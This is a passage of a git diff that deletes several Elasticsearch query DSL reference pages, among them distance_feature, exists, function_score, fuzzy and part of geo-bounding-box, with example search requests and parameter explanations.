-PUT /items/_doc/2?refresh
-{
-  "name" : "chocolate",
-  "production_date": "2018-01-01",
-  "location": [-71.3, 41.15]
-}
-
-
-PUT /items/_doc/3?refresh
-{
-  "name" : "chocolate",
-  "production_date": "2017-12-01",
-  "location": [-71.3, 41.12]
-}
-----
---
-
-
-[[distance-feature-query-ex-query]]
-===== Example queries
-
-[[distance-feature-query-date-ex]]
-====== Boost documents based on date
-The following `bool` search returns documents with a `name` value of
-`chocolate`. The search also uses the `distance_feature` query to increase the
-relevance score of documents with a `production_date` value closer to `now`.
-
-[source,console]
-----
-GET /items/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": {
-          "name": "chocolate"
-        }
-      },
-      "should": {
-        "distance_feature": {
-          "field": "production_date",
-          "pivot": "7d",
-          "origin": "now"
-        }
-      }
-    }
-  }
-}
-----
-
-[[distance-feature-query-distance-ex]]
-====== Boost documents based on location
-The following `bool` search returns documents with a `name` value of
-`chocolate`. The search also uses the `distance_feature` query to increase the
-relevance score of documents with a `location` value closer to `[-71.3, 41.15]`.
-
-[source,console]
-----
-GET /items/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": {
-          "name": "chocolate"
-        }
-      },
-      "should": {
-        "distance_feature": {
-          "field": "location",
-          "pivot": "1000m",
-          "origin": [-71.3, 41.15]
-        }
-      }
-    }
-  }
-}
-----
-
-
-[[distance-feature-top-level-params]]
-==== Top-level parameters for `distance_feature`
-`field`::
-(Required, string) Name of the field used to calculate distances. This field
-must meet the following criteria:
-
-* Be a <<date, `date`>>, <<date_nanos, `date_nanos`>> or
-<<geo-point,`geo_point`>> field
-* Have an <<mapping-index,`index`>> mapping parameter value of `true`, which is
-the default
-* Have an <<doc-values,`doc_values`>> mapping parameter value of `true`, which
-is the default
-
-`origin`::
-+
---
-(Required, string) Date or point of origin used to calculate distances.
-
-If the `field` value is a <<date, `date`>> or <<date_nanos, `date_nanos`>>
-field, the `origin` value must be a <<date-format-pattern,date>>.
-<<date-math,Date Math>>, such as `now-1h`, is supported.
-
-If the `field` value is a <<geo-point,`geo_point`>> field, the `origin` value
-must be a geopoint.
---
-
-`pivot`::
-+
---
-(Required, <<time-units,time unit>> or <<distance-units,distance unit>>)
-Distance from the `origin` at which relevance scores receive half of the `boost`
-value.
-
-If the `field` value is a <<date, `date`>> or <<date_nanos, `date_nanos`>>
-field, the `pivot` value must be a <<time-units,time unit>>, such as `1h` or
-`10d`.
-
-If the `field` value is a <<geo-point,`geo_point`>> field, the `pivot` value
-must be a <<distance-units,distance unit>>, such as `1km` or `12m`.
---
-
-`boost`::
-+
---
-(Optional, float) Floating point number used to multiply the
-<<relevance-scores,relevance score>> of matching documents. This value
-cannot be negative. Defaults to `1.0`.
---
-
-
-[[distance-feature-notes]]
-==== Notes
-
-[[distance-feature-calculation]]
-===== How the `distance_feature` query calculates relevance scores
-The `distance_feature` query dynamically calculates the distance between the
-`origin` value and a document's field values. It then uses this distance as a
-feature to boost the <<relevance-scores,relevance score>> of closer
-documents.
-
-The `distance_feature` query calculates a document's
-<<relevance-scores,relevance score>> as follows:
-
-```
-relevance score = boost * pivot / (pivot + distance)
-```
-
-The `distance` is the absolute difference between the `origin` value and a
-document's field value.
-
-[[distance-feature-skip-hits]]
-===== Skip non-competitive hits
-Unlike the <<query-dsl-function-score-query,`function_score`>> query or other
-ways to change <<relevance-scores,relevance scores>>, the
-`distance_feature` query efficiently skips non-competitive hits when the
-<<search-uri-request,`track_total_hits`>> parameter is **not** `true`.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/exists-query.asciidoc b/docs/reference/query-dsl/exists-query.asciidoc
deleted file mode 100644
index 75d1b07ea38..00000000000
--- a/docs/reference/query-dsl/exists-query.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[query-dsl-exists-query]]
-=== Exists query
-++++
-<titleabbrev>Exists</titleabbrev>
-++++
-
-Returns documents that contain an indexed value for a field.
-
-An indexed value may not exist for a document's field due to a variety of reasons:
-
-* The field in the source JSON is `null` or `[]`
-* The field has `"index" : false` set in the mapping
-* The length of the field value exceeded an `ignore_above` setting in the mapping
-* The field value was malformed and `ignore_malformed` was defined in the mapping
-
-[[exists-query-ex-request]]
-==== Example request
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "exists": {
-      "field": "user"
-    }
-  }
-}
-----
-
-[[exists-query-top-level-params]]
-==== Top-level parameters for `exists`
-`field`::
-(Required, string) Name of the field you wish to search.
-+
-While a field is deemed non-existent if the JSON value is `null` or `[]`, these
-values will indicate the field does exist:
-+
-* Empty strings, such as `""` or `"-"`
-* Arrays containing `null` and another value, such as `[null, "foo"]`
-* A custom <<null-value, `null-value`>>, defined in field mapping
-
-[[exists-query-notes]]
-==== Notes
-
-[[find-docs-null-values]]
-===== Find documents missing indexed values
-To find documents that are missing an indexed value for a field,
-use the `must_not` <<query-dsl-bool-query, boolean query>> with the `exists`
-query.
-
-The following search returns documents that are missing an indexed value for
-the `user.id` field.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must_not": {
-        "exists": {
-          "field": "user.id"
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/query-dsl/full-text-queries.asciidoc b/docs/reference/query-dsl/full-text-queries.asciidoc
deleted file mode 100644
index dda1c1546d0..00000000000
--- a/docs/reference/query-dsl/full-text-queries.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[[full-text-queries]]
-== Full text queries
-
-The full text queries enable you to search <<analysis,analyzed text fields>> such as the 
-body of an email. The query string is processed using the same analyzer that was applied to 
-the field during indexing. 
-
-The queries in this group are:
-
-<<query-dsl-intervals-query,`intervals` query>>::
-A full text query that allows fine-grained control of the ordering and
-proximity of matching terms.
-
-<<query-dsl-match-query,`match` query>>::
-The standard query for performing full text queries, including fuzzy matching
-and phrase or proximity queries.
-
-<<query-dsl-match-bool-prefix-query,`match_bool_prefix` query>>::
-Creates a `bool` query that matches each term as a `term` query, except for
-the last term, which is matched as a `prefix` query
-
-<<query-dsl-match-query-phrase,`match_phrase` query>>::
-Like the `match` query but used for matching exact phrases or word proximity matches.
-    
-<<query-dsl-match-query-phrase-prefix,`match_phrase_prefix` query>>::
-Like the `match_phrase` query, but does a wildcard search on the final word.
-  
-<<query-dsl-multi-match-query,`multi_match` query>>::
-The multi-field version of the `match` query.
-
-<<query-dsl-common-terms-query,`common` terms query>>::
-
-    A more specialized query which gives more preference to uncommon words.
-
-<<query-dsl-query-string-query,`query_string` query>>::
-Supports the compact Lucene <<query-string-syntax,query string syntax>>,
-allowing you to specify AND|OR|NOT conditions and multi-field search
-within a single query string. For expert users only.
-
-<<query-dsl-simple-query-string-query,`simple_query_string` query>>::
-A simpler, more robust version of the `query_string` syntax suitable
-for exposing directly to users.
-
-
-include::intervals-query.asciidoc[]
-
-include::match-query.asciidoc[]
-
-include::match-bool-prefix-query.asciidoc[]
-
-include::match-phrase-query.asciidoc[]
-
-include::match-phrase-prefix-query.asciidoc[]
-
-include::multi-match-query.asciidoc[]
-
-include::common-terms-query.asciidoc[]
-
-include::query-string-query.asciidoc[]
-
-include::simple-query-string-query.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/query-dsl/function-score-query.asciidoc b/docs/reference/query-dsl/function-score-query.asciidoc
deleted file mode 100644
index 9e742c90a55..00000000000
--- a/docs/reference/query-dsl/function-score-query.asciidoc
+++ /dev/null
@@ -1,664 +0,0 @@
-[[query-dsl-function-score-query]]
-=== Function score query
-++++
-<titleabbrev>Function score</titleabbrev>
-++++
-
-The `function_score` allows you to modify the score of documents that are
-retrieved by a query. This can be useful if, for example, a score
-function is computationally expensive and it is sufficient to compute
-the score on a filtered set of documents.
-
-To use `function_score`, the user has to define a query and one or
-more functions, that compute a new score for each document returned
-by the query.
-
-`function_score` can be used with only one function like this:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "query": { "match_all": {} },
-      "boost": "5",
-      "random_score": {}, <1>
-      "boost_mode": "multiply"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> See <<score-functions>> for a list of supported functions.
-
-Furthermore, several functions can be combined. In this case one can
-optionally choose to apply the function only if a document matches a
-given filtering query
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "query": { "match_all": {} },
-      "boost": "5", <1>
-      "functions": [
-        {
-          "filter": { "match": { "test": "bar" } },
-          "random_score": {}, <2>
-          "weight": 23
-        },
-        {
-          "filter": { "match": { "test": "cat" } },
-          "weight": 42
-        }
-      ],
-      "max_boost": 42,
-      "score_mode": "max",
-      "boost_mode": "multiply",
-      "min_score": 42
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> Boost for the whole query.
-<2> See <<score-functions>> for a list of supported functions.
-
-NOTE: The scores produced by the filtering query of each function do not matter.
-
-If no filter is given with a function this is equivalent to specifying
-`"match_all": {}`
-
-First, each document is scored by the defined functions. The parameter
-`score_mode` specifies how the computed scores are combined:
-
-[horizontal]
-`multiply`::    scores are multiplied (default)
-`sum`::         scores are summed
-`avg`::         scores are averaged
-`first`::       the first function that has a matching filter
-                is applied
-`max`::         maximum score is used
-`min`::         minimum score is used
-
-Because scores can be on different scales (for example, between 0 and 1 for decay functions but arbitrary for `field_value_factor`) and also
-because sometimes a different impact of functions on the score is desirable, the score of each function can be adjusted with a user defined
-`weight`. The `weight` can be defined per function in the `functions` array (example above) and is multiplied with the score computed by
-the respective function.
-If weight is given without any other function declaration, `weight` acts as a function that simply returns the `weight`.
-
-In case `score_mode` is set to `avg` the individual scores will be combined by a **weighted** average.
-For example, if two functions return score 1 and 2 and their respective weights are 3 and 4, then their scores will be combined as
-`(1*3+2*4)/(3+4)` and **not** `(1*3+2*4)/2`.
-
-The new score can be restricted to not exceed a certain limit by setting
-the `max_boost` parameter. The default for `max_boost` is FLT_MAX.
-
-The newly computed score is combined with the score of the
-query. The parameter `boost_mode` defines how:
-
-[horizontal]
-`multiply`::    query score and function score is multiplied (default)
-`replace`::     only function score is used, the query score is ignored
-`sum`::         query score and function score are added
-`avg`::         average
-`max`::         max of query score and function score
-`min`::         min of query score and function score
-
-By default, modifying the score does not change which documents match. To exclude
-documents that do not meet a certain score threshold the `min_score` parameter can be set to the desired score threshold.
-
-NOTE: For `min_score` to work, **all** documents returned by the query need to be scored and then filtered out one by one.
-
-[[score-functions]]
-
-The `function_score` query provides several types of score functions.
-
-* <<function-script-score,`script_score`>>
-* <<function-weight,`weight`>>
-* <<function-random,`random_score`>>
-* <<function-field-value-factor,`field_value_factor`>>
-* <<function-decay,decay functions>>: `gauss`, `linear`, `exp`
-
-[[function-script-score]]
-==== Script score
-
-The `script_score` function allows you to wrap another query and customize
-the scoring of it optionally with a computation derived from other numeric
-field values in the doc using a script expression. Here is a
-simple sample:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "query": {
-        "match": { "message": "elasticsearch" }
-      },
-      "script_score": {
-        "script": {
-          "source": "Math.log(2 + doc['my-int'].value)"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[IMPORTANT]
-====
-In {es}, all document scores are positive 32-bit floating point numbers.
-
-If the `script_score` function produces a score with greater precision, it is
-converted to the nearest 32-bit float. 
-
-Similarly, scores must be non-negative. Otherwise, {es} returns an error.
-====
-
-On top of the different scripting field values and expression, the
-`_score` script parameter can be used to retrieve the score based on the
-wrapped query.
-
-Scripts compilation is cached for faster execution. If the script has
-parameters that it needs to take into account, it is preferable to reuse the
-same script, and provide parameters to it:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "query": {
-        "match": { "message": "elasticsearch" }
-      },
-      "script_score": {
-        "script": {
-          "params": {
-            "a": 5,
-            "b": 1.2
-          },
-          "source": "params.a / Math.pow(params.b, doc['my-int'].value)"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-Note that unlike the `custom_score` query, the
-score of the query is multiplied with the result of the script scoring. If
-you wish to inhibit this, set `"boost_mode": "replace"`
-
-[[function-weight]]
-==== Weight
-
-The `weight` score allows you to multiply the score by the provided
-`weight`. This can sometimes be desired since boost value set on
-specific queries gets normalized, while for this score function it does
-not. The number value is of type float.
-
-[source,js]
---------------------------------------------------
-"weight" : number
---------------------------------------------------
-// NOTCONSOLE
-// I couldn't come up with a good example for this one.
-
-[[function-random]]
-==== Random
-
-The `random_score` generates scores that are uniformly distributed from 0 up to
-but not including 1. By default, it uses the internal Lucene doc ids as a
-source of randomness, which is very efficient but unfortunately not
-reproducible since documents might be renumbered by merges.
-
-In case you want scores to be reproducible, it is possible to provide a `seed`
-and `field`. The final score will then be computed based on this seed, the
-minimum value of `field` for the considered document and a salt that is computed
-based on the index name and shard id so that documents that have the same
-value but are stored in different indexes get different scores. Note that
-documents that are within the same shard and have the same value for `field`
-will however get the same score, so it is usually desirable to use a field that
-has unique values for all documents. A good default choice might be to use the
-`_seq_no` field, whose only drawback is that scores will change if the document
-is updated since update operations also update the value of the `_seq_no` field.
-
-NOTE: It was possible to set a seed without setting a field, but this has been
-deprecated as this requires loading fielddata on the `_id` field which consumes
-a lot of memory.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "random_score": {
-        "seed": 10,
-        "field": "_seq_no"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[function-field-value-factor]]
-==== Field Value factor
-
-The `field_value_factor` function allows you to use a field from a document to
-influence the score. It's similar to using the `script_score` function, however,
-it avoids the overhead of scripting. If used on a multi-valued field, only the
-first value of the field is used in calculations.
-
-As an example, imagine you have a document indexed with a numeric `my-int`
-field and wish to influence the score of a document with this field, an example
-doing so would look like:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "field_value_factor": {
-        "field": "my-int",
-        "factor": 1.2,
-        "modifier": "sqrt",
-        "missing": 1
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-Which will translate into the following formula for scoring:
-
-`sqrt(1.2 * doc['my-int'].value)`
-
-There are a number of options for the `field_value_factor` function:
-
-[horizontal]
-`field`::
-
-    Field to be extracted from the document.
-
-`factor`::
-
-    Optional factor to multiply the field value with, defaults to `1`.
-
-`modifier`::
-
-    Modifier to apply to the field value, can be one of: `none`, `log`,
-    `log1p`, `log2p`, `ln`, `ln1p`, `ln2p`, `square`, `sqrt`, or `reciprocal`.
-    Defaults to `none`.
-
-[cols="<,<",options="header",]
-|=======================================================================
-| Modifier | Meaning
-
-| `none` | Do not apply any multiplier to the field value
-| `log` | Take the {wikipedia}/Common_logarithm[common logarithm] of the field value.
-          Because this function will return a negative value and cause an error if used on values
-          between 0 and 1, it is recommended to use `log1p` instead.
-| `log1p` | Add 1 to the field value and take the common logarithm
-| `log2p` | Add 2 to the field value and take the common logarithm
-| `ln` | Take the {wikipedia}/Natural_logarithm[natural logarithm] of the field value.
-         Because this function will return a negative value and cause an error if used on values
-         between 0 and 1, it is recommended to use `ln1p` instead.
-| `ln1p` | Add 1 to the field value and take the natural logarithm
-| `ln2p` | Add 2 to the field value and take the natural logarithm
-| `square` | Square the field value (multiply it by itself)
-| `sqrt` | Take the {wikipedia}/Square_root[square root] of the field value
-| `reciprocal` | {wikipedia}/Multiplicative_inverse[Reciprocate] the field value, same as `1/x` where `x` is the field's value
-|=======================================================================
-
-`missing`::
-
-    Value used if the document doesn't have that field. The modifier
-    and factor are still applied to it as though it were read from the document.
-
-NOTE: Scores produced by the `field_value_score` function must be
-non-negative, otherwise an error will be thrown. The `log` and `ln` modifiers
-will produce negative values if used on values between 0 and 1. Be sure to limit
-the values of the field with a range filter to avoid this, or use `log1p` and
-`ln1p`.
-
-NOTE: Keep in mind that taking the log() of 0, or the square root of a
-negative number is an illegal operation, and an exception will be thrown. Be
-sure to limit the values of the field with a range filter to avoid this, or use
-`log1p` and `ln1p`.
-
-
-[[function-decay]]
-==== Decay functions
-
-Decay functions score a document with a function that decays depending
-on the distance of a numeric field value of the document from a user
-given origin. This is similar to a range query, but with smooth edges
-instead of boxes.
-
-To use distance scoring on a query that has numerical fields, the user
-has to define an `origin` and a `scale` for each field. The `origin`
-is needed to define the ``central point'' from which the distance
-is calculated, and the `scale` to define the rate of decay. The
-decay function is specified as
-
-[source,js]
---------------------------------------------------
-"DECAY_FUNCTION": { <1>
-    "FIELD_NAME": { <2>
-          "origin": "11, 12",
-          "scale": "2km",
-          "offset": "0km",
-          "decay": 0.33
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> The `DECAY_FUNCTION` should be one of `linear`, `exp`, or `gauss`.
-<2> The specified field must be a numeric, date, or geo-point field.
-
-In the above example, the field is a <<geo-point,`geo_point`>> and origin can
-be provided in geo format. `scale` and `offset` must be given with a unit in
-this case. If your field is a date field, you can set `scale` and `offset` as
-days, weeks, and so on. Example:
-
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "gauss": {
-        "@timestamp": {
-          "origin": "2013-09-17", <1>
-          "scale": "10d",
-          "offset": "5d",         <2>
-          "decay": 0.5            <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> The date format of the origin depends on the <<mapping-date-format,`format`>> defined in
-    your mapping. If you do not define the origin, the current time is used.
-<2> The `offset` and `decay` parameters are optional.
-
-[horizontal]
-`origin`::
-    The point of origin used for calculating distance. Must be given as a
-    number for numeric field, date for date fields and geo point for geo fields.
-    Required for geo and numeric field. For date fields the default is `now`. Date
-    math (for example `now-1h`) is supported for origin.
-
-`scale`::
-    Required for all types. Defines the distance from origin + offset at which the computed
-    score will equal `decay` parameter. For geo fields: Can be defined as number+unit (1km, 12m,...).
-    Default unit is meters. For date fields: Can to be defined as a number+unit ("1h", "10d",...).
-    Default unit is milliseconds. For numeric field: Any number.
-
-`offset`::
-    If an `offset` is defined, the decay function will only compute the
-    decay function for documents with a distance greater than the defined
-    `offset`. The default is 0.
-
-`decay`::
-    The `decay` parameter defines how documents are scored at the distance
-    given at `scale`. If no `decay` is defined, documents at the distance
-    `scale` will be scored 0.5.
-
-In the first example, your documents might represents hotels and contain a geo
-location field. You want to compute a decay function depending on how
-far the hotel is from a given location. You might not immediately see
-what scale to choose for the gauss function, but you can say something
-like: "At a distance of 2km from the desired location, the score should
-be reduced to one third."
-The parameter "scale" will then be adjusted automatically to assure that
-the score function computes a score of 0.33 for hotels that are 2km away
-from the desired location.
-
-
-In the second example, documents with a field value between 2013-09-12 and 2013-09-22 would get a weight of 1.0 and documents which are 15 days from that date a weight of 0.5.
-
-===== Supported decay functions
-
-The `DECAY_FUNCTION` determines the shape of the decay:
-
-`gauss`::
-+
---
-Normal decay, computed as:
-
-image:images/Gaussian.png[]
-
-where image:images/sigma.png[] is computed to assure that the score takes the value `decay` at distance `scale` from `origin`+-`offset`
-
-// \sigma^2 = -scale^2/(2 \cdot ln(decay))
-image:images/sigma_calc.png[]
-
-See <<gauss-decay>> for graphs demonstrating the curve generated by the `gauss` function.
-
---
-
-`exp`::
-+
---
-Exponential decay, computed as:
-
-image:images/Exponential.png[]
-
-where again the parameter image:images/lambda.png[] is computed to assure that the score takes the value `decay` at distance `scale` from `origin`+-`offset`
-
-// \lambda = ln(decay)/scale
-image:images/lambda_calc.png[]
-
-See <<exp-decay>> for graphs demonstrating the curve generated by the `exp` function.
-
---
-
-`linear`::
-+
---
-Linear decay, computed as:
-
-image:images/Linear.png[].
-
-
-where again the parameter `s` is computed to assure that the score takes the value `decay` at distance `scale` from `origin`+-`offset`
-
-image:images/s_calc.png[]
-
-In contrast to the normal and exponential decay, this function actually
-sets the score to 0 if the field value exceeds twice the user given
-scale value.
---
-
-For single functions the three decay functions together with their parameters can be visualized like this (the field in this example called "age"):
-
-image:images/decay_2d.png[width=600]
-
-===== Multi-values fields
-
-If a field used for computing the decay contains multiple values, per default the value closest to the origin is chosen for determining the distance.
-This can be changed by setting `multi_value_mode`.
-
-[horizontal]
-`min`:: Distance is the minimum distance
-`max`:: Distance is the maximum distance
-`avg`:: Distance is the average distance
-`sum`:: Distance is the sum of all distances
-
-Example:
-
-[source,js]
---------------------------------------------------
-    "DECAY_FUNCTION": {
-        "FIELD_NAME": {
-              "origin": ...,
-              "scale": ...
-        },
-        "multi_value_mode": "avg"
-    }
---------------------------------------------------
-// NOTCONSOLE
-
-
-==== Detailed example
-
-Suppose you are searching for a hotel in a certain town. Your budget is
-limited. Also, you would like the hotel to be close to the town center,
-so the farther the hotel is from the desired location the less likely
-you are to check in.
-
-You would like the query results that match your criterion (for
-example, "hotel, Nancy, non-smoker") to be scored with respect to
-distance to the town center and also the price.
-
-Intuitively, you would like to define the town center as the origin and
-maybe you are willing to walk 2km to the town center from the hotel. +
-In this case your *origin* for the location field is the town center
-and the *scale* is ~2km.
-
-If your budget is low, you would probably prefer something cheap above
-something expensive.  For the price field, the *origin* would be 0 Euros
-and the *scale* depends on how much you are willing to pay, for example 20 Euros.
-
-In this example, the fields might be called "price" for the price of the
-hotel and "location" for the coordinates of this hotel.
-
-The function for `price` in this case would be
-
-[source,js]
---------------------------------------------------
-"gauss": { <1>
-    "price": {
-          "origin": "0",
-          "scale": "20"
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> This decay function could also be `linear` or `exp`.
-
-and for `location`:
-
-[source,js]
---------------------------------------------------
-
-"gauss": { <1>
-    "location": {
-          "origin": "11, 12",
-          "scale": "2km"
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> This decay function could also be `linear` or `exp`.
-
-Suppose you want to multiply these two functions on the original score,
-the request would look like this:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "function_score": {
-      "functions": [
-        {
-          "gauss": {
-            "price": {
-              "origin": "0",
-              "scale": "20"
-            }
-          }
-        },
-        {
-          "gauss": {
-            "location": {
-              "origin": "11, 12",
-              "scale": "2km"
-            }
-          }
-        }
-      ],
-      "query": {
-        "match": {
-          "properties": "balcony"
-        }
-      },
-      "score_mode": "multiply"
-    }
-  }
-}
---------------------------------------------------
-
-Next, we show how the computed score looks like for each of the three
-possible decay functions.
-
-[[gauss-decay]]
-===== Normal decay, keyword `gauss`
-
-When choosing `gauss` as the decay function in the above example, the
-contour and surface plot of the multiplier looks like this:
-
-image::https://f.cloud.github.com/assets/4320215/768157/cd0e18a6-e898-11e2-9b3c-f0145078bd6f.png[width="700px"]
-
-image::https://f.cloud.github.com/assets/4320215/768160/ec43c928-e898-11e2-8e0d-f3c4519dbd89.png[width="700px"]
-
-Suppose your original search results matches three hotels :
-
-* "Backback Nap"
-* "Drink n Drive"
-* "BnB Bellevue".
-
-"Drink n Drive" is pretty far from your defined location (nearly 2 km)
-and is not too cheap (about 13 Euros) so it gets a low factor a factor
-of 0.56. "BnB Bellevue" and "Backback Nap" are both pretty close to the
-defined location but "BnB Bellevue" is cheaper, so it gets a multiplier
-of 0.86 whereas "Backpack Nap" gets a value of 0.66.
-
-[[exp-decay]]
-===== Exponential decay, keyword `exp`
-
-When choosing `exp` as the decay function in the above example, the
-contour and surface plot of the multiplier looks like this:
-
-image::https://f.cloud.github.com/assets/4320215/768161/082975c0-e899-11e2-86f7-174c3a729d64.png[width="700px"]
-
-image::https://f.cloud.github.com/assets/4320215/768162/0b606884-e899-11e2-907b-aefc77eefef6.png[width="700px"]
-
-[[linear-decay]]
-===== Linear decay, keyword `linear`
-
-When choosing `linear` as the decay function in the above example, the
-contour and surface plot of the multiplier looks like this:
-
-image::https://f.cloud.github.com/assets/4320215/768164/1775b0ca-e899-11e2-9f4a-776b406305c6.png[width="700px"]
-
-image::https://f.cloud.github.com/assets/4320215/768165/19d8b1aa-e899-11e2-91bc-6b0553e8d722.png[width="700px"]
-
-==== Supported fields for decay functions
-
-Only numeric, date, and geo-point fields are supported.
-
-==== What if a field is missing?
-
-If the numeric field is missing in the document, the function will
-return 1.
diff --git a/docs/reference/query-dsl/fuzzy-query.asciidoc b/docs/reference/query-dsl/fuzzy-query.asciidoc
deleted file mode 100644
index 6a9b6010a1f..00000000000
--- a/docs/reference/query-dsl/fuzzy-query.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[[query-dsl-fuzzy-query]]
-=== Fuzzy query
-++++
-<titleabbrev>Fuzzy</titleabbrev>
-++++
-
-Returns documents that contain terms similar to the search term, as measured by
-a {wikipedia}/Levenshtein_distance[Levenshtein edit distance].
-
-An edit distance is the number of one-character changes needed to turn one term
-into another. These changes can include:
-
-* Changing a character (**b**ox → **f**ox)
-* Removing a character (**b**lack → lack)
-* Inserting a character (sic → sic**k**)
-* Transposing two adjacent characters (**ac**t → **ca**t)
-
-To find similar terms, the `fuzzy` query creates a set of all possible
-variations, or expansions, of the search term within a specified edit distance.
-The query then returns exact matches for each expansion.
-
-[[fuzzy-query-ex-request]]
-==== Example requests
-
-[[fuzzy-query-ex-simple]]
-===== Simple example
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "fuzzy": {
-      "user.id": {
-        "value": "ki"
-      }
-    }
-  }
-}
-----
-
-[[fuzzy-query-ex-advanced]]
-===== Example using advanced parameters
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "fuzzy": {
-      "user.id": {
-        "value": "ki",
-        "fuzziness": "AUTO",
-        "max_expansions": 50,
-        "prefix_length": 0,
-        "transpositions": true,
-        "rewrite": "constant_score"
-      }
-    }
-  }
-}
-----
-
-[[fuzzy-query-top-level-params]]
-==== Top-level parameters for `fuzzy`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[fuzzy-query-field-params]]
-==== Parameters for `<field>`
-`value`::
-(Required, string) Term you wish to find in the provided `<field>`.
-
-`fuzziness`::
-(Optional, string) Maximum edit distance allowed for matching. See <<fuzziness>>
-for valid values and more information.
-
-
-`max_expansions`::
-+
---
-(Optional, integer) Maximum number of variations created. Defaults to `50`.
-
-WARNING: Avoid using a high value in the `max_expansions` parameter, especially
-if the `prefix_length` parameter value is `0`. High values in the
-`max_expansions` parameter can cause poor performance due to the high number of
-variations examined.
---
-
-`prefix_length`::
-(Optional, integer) Number of beginning characters left unchanged when creating
-expansions. Defaults to `0`.
-
-`transpositions`::
-(Optional, Boolean) Indicates whether edits include transpositions of two
-adjacent characters (ab → ba). Defaults to `true`.
-
-`rewrite`::
-(Optional, string) Method used to rewrite the query. For valid values and more
-information, see the <<query-dsl-multi-term-rewrite, `rewrite` parameter>>.
-
-[[fuzzy-query-notes]]
-==== Notes
-Fuzzy queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
diff --git a/docs/reference/query-dsl/geo-bounding-box-query.asciidoc b/docs/reference/query-dsl/geo-bounding-box-query.asciidoc
deleted file mode 100644
index ca355413b2e..00000000000
--- a/docs/reference/query-dsl/geo-bounding-box-query.asciidoc
+++ /dev/null
@@ -1,368 +0,0 @@
-[[query-dsl-geo-bounding-box-query]]
-=== Geo-bounding box query
-++++
-<titleabbrev>Geo-bounding box</titleabbrev>
-++++
-
-A query allowing to filter hits based on a point location using a
-bounding box. Assuming the following indexed document:
-
-[source,console]
---------------------------------------------------
-PUT /my_locations
-{
-  "mappings": {
-    "properties": {
-      "pin": {
-        "properties": {
-          "location": {
-            "type": "geo_point"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT /my_locations/_doc/1
-{
-  "pin": {
-    "location": {
-      "lat": 40.12,
-      "lon": -71.34
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-Then the following simple query can be executed with a
-`geo_bounding_box` filter:
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": {
-              "lat": 40.73,
-              "lon": -74.1
-            },
-            "bottom_right": {
-              "lat": 40.01,
-              "lon": -71.12
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Query Options
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Option |Description
-|`_name` |Optional name field to identify the filter
-
-|`validation_method` |Set to `IGNORE_MALFORMED` to
-accept geo points with invalid latitude or longitude, set to
-`COERCE` to also try to infer correct latitude or longitude. (default is `STRICT`).
-
-|`type` |Set to one of `indexed` or `memory` to defines whether this filter will
-be executed in memory or indexed. See <<geo-bbox-type,Type>> below for further details
-Default is `memory`.
-|=======================================================================
-
-[[query-dsl-geo-bounding-box-query-accepted-formats]]
-[discrete]
-==== Accepted Formats
-
-In much the same way the geo_point type can accept different
-representations of the geo point, the filter can accept it as well:
-
-[discrete]
-===== Lat Lon As Properties
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": {
-              "lat": 40.73,
-              "lon": -74.1
-            },
-            "bottom_right": {
-              "lat": 40.01,
-              "lon": -71.12
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Lat Lon As Array
-
-Format in `[lon, lat]`, note, the order of lon/lat here in order to
-conform with http://geojson.org/[GeoJSON].
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": [ -74.1, 40.73 ],
-            "bottom_right": [ -71.12, 40.01 ]
-          }
